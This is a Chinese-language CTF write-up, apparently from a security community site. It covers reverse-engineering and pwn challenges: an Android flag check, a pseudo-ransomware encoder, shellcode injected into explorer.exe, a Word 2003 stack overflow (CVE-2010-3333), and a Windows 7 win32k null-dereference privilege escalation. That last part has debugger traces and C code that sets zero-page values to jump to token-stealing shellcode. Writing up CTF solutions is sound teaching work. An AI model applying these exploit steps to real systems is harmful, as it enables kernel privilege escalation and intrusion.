可以发现输入长度必须是12位。关键代码在红框所示2行。如果C0233a.m17a返回true，则调用f15.m16，在m16函数中调用了Toast，这里很可能就是显示flag了。
传入的第一个参数是输入的内容，第二个参数是一个字符串常量。继续分析C0233a.m26，发现又调用了m28,而这个函数是用的AES算法，秘钥是输入内容的utf-8的bytes数组。
经过上面分析，必须让C0233a.m17a返回true，然后就能弹出Toast得到flag了。查看C0233a.m17a函数:
只有C0233a.m19b可能返回true。m19b是一个md5算法，根据在线md5破解查到"cfcd208495d565ef66e7dff9f98764da"是0，而这里i只有相加操作，m21函数最后调用的是AES加密，然后反推charAt必须等于0，再看传入的2个参数，经过的运算是一样的，所以参数str必须和str2相同，所以，m17a就是判断两个字符串是否相同。
**再返回onClick函数分析**
C0233a.m27(JniTest.getValue(editable.getBytes("utf-8"))
的结果应该和"01635e6c5f2378255f27356c11663165"相同。重点就在native的getValue函数了，对应在so库中是Java_com_seclover_ctf2_JniTest_getValue函数。该函数是一个base64变形算法，码表做了修改，另外对第一位、第二位做了异或。可以直接编写解码函数，完整代码如下：
运行后得到“VVe1lD0ne^-^”，进入app输入，得到flag: SSCTF{C0ngraTu1ationS!}。
**逆向三（伪勒索软件）**
文件的编码和时间有关系！ Flag文件被编码的时间实际为:2017/5/2 17:54:30至18点前，进行了多次编码。
题目编码分为4种:
1.简单xor。
2.Base64(结果替换)。
3.Md5(时间的小时值)，然后进行简单xor。
4.Rc4(时间:年月日)。
打开程序后，并不会直接去编码文件。而是等到退出时候才对后缀为SSCTF的文件进行编码(可重复叠加)。
编码规则:
1.读取文件。如果蜂鸣器音乐线程被关闭则，产生随机数参与编码，否则使用11。
2.根据时间（24小时制的小时数）决定模式。12<time<18: 1，18<time<23||0<time<5: 2。其他的:3。
3.根据模式进行分段，然后编码。
4.将原始长度，写入模式进行XOR时间编码产生Info。
5.根据模式进行分段组合。
6.写文件，完毕。
读取模式:
1.xor->Base64->Md5->Rc4。
2.Md5->Base64->Rc4->xor。
3.Rc4->Md5->xor->Base64。
写入模式:
1.Info->Base64->Rc4->Md5->Info->xor。
2.Info->Base64->xor->Info->Md5->Rc4。
3.Info->xor->Rc4->Md5->Info->Base64。
解码规则:（需要自行编写，EXE中无解码函数）
1.读取文件。
2.根据解码后的Info选择模式。
3.根据模式解码分段。
4.根据Info选择逆写模式。
5.写文件，结束。
写好解码器后填写相应的时间。然后进行解码，直到文件内容不再为乱码即可。可以发现解码后文件内容为DOC格式。使用WORD打开，即可看到FLAG。
**逆向四（魂斗罗）**
通关并没有什么用，游戏只是用来消遣。不会提供任何信息，担心有些人钻牛角尖，非要打通关，所以给提供内置外挂，将生命锁定为无限。并且将题目核心放在内置外挂的启动函数中。
可以看到会弹出对话框，提示不要关闭，但是不关闭就无法执行实际的代码。所以必须关闭对话框，来执行核心函数。
核心函数是2个Shellcode嵌套在一起。1级Shellocode目的是为了将2级shellcode(本身一部分被xor
0xcc编码过)注入到explorer.exe进程中，所以必须是32位系统才会真的执行二级Shellcode。所以在32位系统中，调试explorer.exe，中断于新线程启动。在2级解码自身后，即可看见真正的核心。
分析核心代码。发现是对c:flg文件进行编码。
编码分为2种：
1.多重xor，置换。
2.base24编码。
经过编码后，使用编码数据覆盖原始文件数据。所以根据编码算法，写出解码函数。
运行，直到文件内容不再为密文。可以发现文件内容为DOC文件格式，使用WORD打开。即可看见Flag。
**P WN**
**逆向一（Word2003）**
CVE-2010-3333。 因为Mso.dll里存在栈溢出，WORD2003无DEP，无ASLR。所以直接执行Shellcode即可。
很普通的栈溢出
漏洞函数位于mso.dll的0x30f4cc5d
当a7不为0时，会调用一个函数指针，动态跟踪可以发现这个函数指针指向的函数是将doc文档数据复制到栈中，并且没有检查边界，造成栈溢出。
跟进sub_30f4cb1d函数中：
会发现当第5个参数为0时会直接返回，而第五个参数刚好是漏洞函数的第七个参数，栈溢出时会将其覆盖，所以exploit时要保证a7处为0
因为这个word版本未开dep，所以直接jmp esp覆盖返回地址，然后执行就好了
剩下的就是shellcode的编写了
**逆向二（Pwn2）**
存在栈溢出。构造ROP链获得Shell即可。
逆向三（本地提权来自FlappyPig的思路）
win32k!bGetRealizedBrush空指针引用。所以在零页填写相应数据数据，然后替换token即可。
kd> r
eax=00000000 ebx=980b0af8 ecx=00000001 edx=00000000 esi=00000000 edi=fe9950d8
eip=838b0560 esp=980b0928 ebp=980b09a0 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
win32k!bGetRealizedBrush+0x38:
838b0560 f6402401 test byte ptr [eax+24h],1 ds:0023:00000024=??
这个位置eax引用了0x0，需要跟踪这个eax由什么地方得到，首先分析win32k!bGetRealizedBrush函数。
int __stdcall bGetRealizedBrush(struct BRUSH *a1, struct EBRUSHOBJ *a2, int (__stdcall *a3)(struct _BRUSHOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _XLATEOBJ *, unsigned __int32))
{
函数定义了3个变量，其中a3是EngRealizeBrush函数，a1是一个BRUSH结构体，a2是一个EBRUSHOBJ结构体，而漏洞触发位置的eax就由EBRUSHOBJ结构体得来，跟踪分析一下这个过程。
kd> p
win32k!bGetRealizedBrush+0x1c://ebx由第二个参数得来
969e0544 8b5d0c mov ebx,dword ptr [ebp+0Ch]
……
kd> p
win32k!bGetRealizedBrush+0x25://第二个参数+34h的位置的值交给eax
969e054d 8b4334 mov eax,dword ptr [ebx+34h]
……
kd> p
win32k!bGetRealizedBrush+0x32://eax+1c的值，交给eax，这个值为0
969e055a 8b401c mov eax,dword ptr [eax+1Ch]
kd> p
win32k!bGetRealizedBrush+0x35:
969e055d 89450c mov dword ptr [ebp+0Ch],eax
kd> p
win32k!bGetRealizedBrush+0x38://eax为0，引发无效内存访问
969e0560 f6402401 test byte ptr [eax+24h],1
经过上面的分析，我们需要知道，EBRUSHOBJ+34h位置存放着什么样的值，直接来看EBRUSHOBJ结构体的内容。
kd> dd 8effcaf8
8effcaf8 ffffffff 00000000 00000000 00edfc13
8effcb08 00edfc13 00000000 00000006 00000004
8effcb18 00000000 00ffffff fe96b7c4 00000000
8effcb28 00000000 fd2842e8 ffbff968 ffbffe68
这里+34h位置存放的值是fd2842e8，而fd2842e8+1c存放的是
kd> dd fd2842e8
fd2842e8 108501ef 00000001 80000000 874635f8
fd2842f8 00000000 108501ef 00000000 00000000
fd284308 00000008 00000008 00000020 fd28443c
fd284318 fd28443c 00000004 00001292 00000001
这里对象不明朗没关系，来看一下+1c位置存放的是什么样的结构，通过kb堆栈回溯（这里由于多次重启堆栈地址发生变化，不影响调试）
kd> kb
# ChildEBP RetAddr Args to Child
00 980b09a0 838b34af 00000000 00000000 838ad5a0 win32k!bGetRealizedBrush+0x38
01 980b09b8 83929b5e 980b0af8 00000001 980b0a7c win32k!pvGetEngRbrush+0x1f
02 980b0a1c 839ab6e8 fe975218 00000000 00000000 win32k!EngBitBlt+0x337
03 980b0a54 839abb9d fe975218 980b0a7c 980b0af8 win32k!EngPaint+0x51
04 980b0c20 83e941ea 00000000 ffbff968 1910076b win32k!NtGdiFillRgn+0x339
跟踪外层函数调用，在NtGdiFillRgn函数中
EngPaint(
(struct _SURFOBJ *)(v5 + 16),
(int)&v13,
(struct _BRUSHOBJ *)&v18,
(struct _POINTL *)(v42 + 1592),
v10); // 进这里
传入的第一个参数是SURFOBJ对象，来看一下这个对象的内容
kd> p
win32k!NtGdiFillRgn+0x334:
96adbb98 e8fafaffff call win32k!EngPaint (96adb697)
kd> dd esp
903fca5c ffb58778 903fca7c 903fcaf8 ffaabd60
第一个参数SURFOBJ的值是ffb58778，继续往后跟踪
kd> p
win32k!EngPaint+0x45:
96adb6dc ff7508 push dword ptr [ebp+8]
kd> p
win32k!EngPaint+0x48:
96adb6df 8bc8 mov ecx,eax
kd> p
win32k!EngPaint+0x4a:
96adb6e1 e868e4f8ff call win32k!SURFACE::pfnBitBlt (96a69b4e)
kd> dd 903fcaf8
903fcaf8 ffffffff 00000000 00000000 00edfc13
903fcb08 00edfc13 00000000 00000006 00000004
903fcb18 00000000 00ffffff ffaab7c4 00000000
903fcb28 00000000 ffb58768 ffbff968 ffbffe68
903fcb38 ffbbd540 00000006 fe57bc38 00000014
903fcb48 000000d3 00000001 ffffffff 83f77f01
903fcb58 83ec0892 903fcb7c 903fcbb0 00000000
903fcb68 903fcc10 83e17924 00000000 00000000
kd> dd ffb58768
ffb58768 068501b7 00000001 80000000 8754b030
ffb58778 00000000 068501b7 00000000 00000000
ffb58788 00000008 00000008 00000020 ffb588bc
发现在EBRUSHOBJ+34h位置存放的值，再+10h存放的正是之前的SURFOBJ，也就是说，之前ffb58768+1ch位置存放的就是SURFOBJ+0xc的值，而这个值来看一下SURFOBJ的结构
typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV dhpdev;
HDEV hdev;
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ;
这个位置存放的是hdev对象，正是因为未对这个对象进行初始化直接引用，导致了漏洞的发生。
漏洞利用时，在win32k!bGetRealizedBrush找到一处调用
.text:BF840810 loc_BF840810: ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+2E0j
.text:BF840810 mov ecx, [ebp+P]
.text:BF840813 mov ecx, [ecx+2Ch]
.text:BF840816 mov edx, [ebx+0Ch]
.text:BF840819 push ecx
.text:BF84081A push edx
.text:BF84081B push [ebp+var_14]
.text:BF84081E push eax
.text:BF84081F call edi ;
利用call edi可以跳转到我们要的位置，edi来自于a2，也就是未初始化对象赋值，因此我们可以控制这个值，接下来看看利用过程。
利用这个未初始化的对象，可以直接利用零页内存绕过限制，有几处跳转，第一处
v20 = a2;//v20赋值
if ( *((_DWORD *)a2 + 284) & 0x200000 && (char *)a3 != (char *)EngRealizeBrush )
{
v21 = *((_DWORD *)v5 + 13);
if ( v21 )
v22 = (struct _SURFOBJ *)(v21 + 16);
else
v22 = 0;
if ( a3(v5, v22, 0, 0, 0, *((_DWORD *)v5 + 3) | 0x80000000) )// come to this?
{
v19 = 1;
goto LABEL_24;
}
v20 = a2;//v20赋值
}
v23 = *((_WORD *)v20 + 712);
if ( !v23 )//这里有一个if语句跳转
goto LABEL_23;
这时候v20的值是a2，而a2的值来自于 a2 = *(struct EBRUSHOBJ **)(v6 +
28);，之前已经分析过，由于未初始化，这个值为0
那么第一处在v23的if语句跳转中，需要置0+0x590位置的值为不为0的数。
第二处在
v24 = (struct EBRUSHOBJ *)((char *)v20 + 1426);
if ( !*(_WORD *)v24 )
goto LABEL_23;
这个地方又要一个if语句跳转，这个地方需要置0x592位置的值为不为0的数。
最后一处，也就是call edi之前的位置
.text:BF8407F0 mov edi, [eax+748h]//edi赋值为跳板值
.text:BF8407F6 setz cl
.text:BF8407F9 inc ecx
.text:BF8407FA mov [ebp+var_14], ecx
.text:BF8407FD ; 134: if ( v26 )
.text:BF8407FD cmp edi, esi//这里仍旧是和0比较
.text:BF8407FF jz short loc_BF840823
这个地方需要edi和esi做比较，edi不为0，这里赋值为替换token的shellcode的值就是不为0的值了，直接可以跳转。
因此，需要在源码中构造这三个位置的值。
void* bypass_one = (void *)0x590;
*(LPBYTE)bypass_one = 0x1;
void* bypass_two = (void *)0x592;
*(LPBYTE)bypass_two = 0x1;
void* jump_addr = (void *)0x748;
*(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;
最后替换system token即可完成利用 | 社区文章 |